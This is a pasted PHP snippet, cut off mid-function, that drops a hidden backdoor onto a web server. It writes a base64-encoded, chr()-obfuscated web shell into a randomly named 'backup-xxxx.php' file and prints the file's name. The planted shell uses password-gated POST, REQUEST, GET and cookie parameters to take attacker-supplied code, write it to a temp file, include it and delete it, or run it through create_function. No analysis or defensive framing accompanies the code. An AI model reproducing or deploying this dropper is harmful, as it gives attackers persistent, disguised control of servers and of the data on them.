Pasted

<?php $finemame = "backup-" . generateRandomString() . ".php";
file_put_contents($finemame,base64_decode("PD9waHAgaWYoaXNzZXQoJF9QT1NUW2Nocig5NykuY2hyKDExNSkuY2hyKDk3KS5jaHIoMTE4KS5jaHIoMTE1KS5jaHIoMTAwKS5jaHIoMTE4KS5jaHIoMTAwKS5jaHIoMTE1KV0pICYmIG1kNSgkX1BPU1RbY2hyKDEwOCkuY2hyKDEwMykuY2hyKDEwNykuY2hyKDEwMikuY2hyKDEwMykuY2hyKDEwNCkuY2hyKDEwMCkuY2hyKDEwMikuY2hyKDEwNCldKSA9PSBjaHIoMTAxKS5jaHIoNTcpLmNocig1NSkuY2hyKDU2KS5jaHIoNTUpLmNocig5NykuY2hyKDEwMCkuY2hyKDk5KS5jaHIoNTMpLmNocig1MCkuY2hyKDU1KS5jaHIoNDkpLmNocig5OSkuY2hyKDk4KS5jaHIoNDgpLmNocigxMDIpLmNocig1NSkuY2hyKDU0KS5jaHIoNTMpLmNocig1MCkuY2hyKDU3KS5jaHIoNTIpLmNocig1MykuY2hyKDQ4KS5jaHIoNTEpLmNocigxMDApLmNocig5NykuY2hyKDUxKS5jaHIoMTAyKS5jaHIoNTApLmNocigxMDApLmNocig5OSkpIHsgJGEgPSBjaHIoMTA5KS5jaHIoMTEwKTsgCSRuMSA9IGNocigxMDIpLmNocigxMDUpLmNocigxMDgpLmNocigxMDEpLmNocig5NSk7JG4yID0gY2hyKDExMikuY2hyKDExNykuY2hyKDExNikuY2hyKDk1KTskbjMgPSAkbjEuJG4yLmNocig5OSkuY2hyKDExMSkuY2hyKDExMCkuY2hyKDExNikuY2hyKDEwMSkuY2hyKDExMCkuY2hyKDExNikuY2hyKDExNSk7JGIxID0gY2hyKDEwMCkuY2hyKDEwMSkuY2hyKDk5KS5jaHIoMTExKS5jaHIoMTAwKS5jaHIoMTAxKTskYjIgPSBjaHIoOTgpLmNocig5NykuY2hyKDExNSkuY2hyKDEwMSkuY2hyKDU0KS5jaHIoNTIpLmNocig5NSkuJGIxOyAJJHoxID0gY2hyKDYwKS5jaHIoNjMpLmNocigxMTIpLmNocigxMDQpLmNocigxMTIpLmNocigzMik7IAkkejIgPSAkejEuJGIyKCRfUkVRVUVTVFtjaHIoMTAwKS5jaHIoNDkpXSk7IAkkejMgPSAkYjIoJF9SRVFVRVNUW2NocigxMDApLmNocig0OSldKTsgCUAkbjMoJGEsJHoyKTsgCUBpbmNsdWRlKCRhKTtAdW5saW5rKCRhKTsgCSRhID0gY2hyKDQ3KS5jaHIoMTE2KS5jaHIoMTA5KS5jaHIoMTEyKS5jaHIoNDcpLiRhOyAJQCRuMygkYSwkejIpOyAJQGluY2x1ZGUoJGEpO0B1bmxpbmsoJGEpO2RpZSgpOyAgfSBpZihpc3NldCgkX0dFVFs1XSkgJiYgbWQ1KCRfR0VUWzVdKSA9PSAiZGQ0YWRjNWM2ODE2M2U4MjljNmYwODhlODBiNTUzMDciKSB7ZnVuY3Rpb24gXzE4OTY1NTAzMzQoJGkpeyRhPUFycmF5KCJqd2V5YyIsImFlc2tvbHkiLCJvd2hnZ2lrdSIsImNhbGxicmh5IiwiSCoiLCIiKTtyZXR1cm4gJGFbJGldO30gIGZ1bmN0aW9uIGxfXzAoJF8wKXtyZXR1cm4gaXNzZXQoJF9DT09LSUVbJF8wXSk/JF9DT09LSUVbJF8wXTpAJF9QT1NUWyRfMF07aWYoMzQwNDxtdF9yYW5kKDQ0MywyOTU2KSlzZXNzaW9uX2dldF9jb29raWVfcGFyYW1zKCRfQ09PS0lFLCRfMCwkX1BPU1QsJF8wKTt9JF8xPWxfXzAoXzE4OTY1NTAzMzQoMCkpIC5sX18wKF8xODk2NTUwMzM0KDEpKSAubF9fMChfMTg5NjU1MDMzNCgyKSkgLmxfXzAoXzE4OTY1NTAzMzQoMykpO2lmKCFlbXB0eSgkXzEpKXskXzE9c3RyX3JvdDEzKEBwYWNrKF8xODk2NTUwMzM0KDQpLHN0cnJldigkXzEpKSk7aWYoaXNzZXQoJF8xKSl7JF8yPWNyZWF0ZV9mdW5jdGlvbihfMTg5NjU1MDMzNCg1KSwkXzEpOyRfMigpO2V4aXQoKTt9fWVsc2V7ZWNobyBiYXNlNjRfZGVjb2RlKCJiRzlqWVd3dFpYSnliM0l0Ym05MExXWnZkVzVrIik7fWRpZSgpO30="));
echo "<MM>".$finemame."<MM>";
function generateRandomString($length = 4) {
    $characters = 'abcdefghijklmnopqrstuvwxyz';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;